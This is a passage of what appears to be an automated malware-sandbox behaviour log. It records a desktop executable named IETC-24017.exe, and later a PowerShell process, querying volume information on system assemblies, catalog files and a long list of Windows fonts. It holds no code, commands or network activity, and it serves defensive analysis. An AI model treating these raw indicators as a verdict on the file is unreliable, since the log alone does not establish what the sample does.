Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
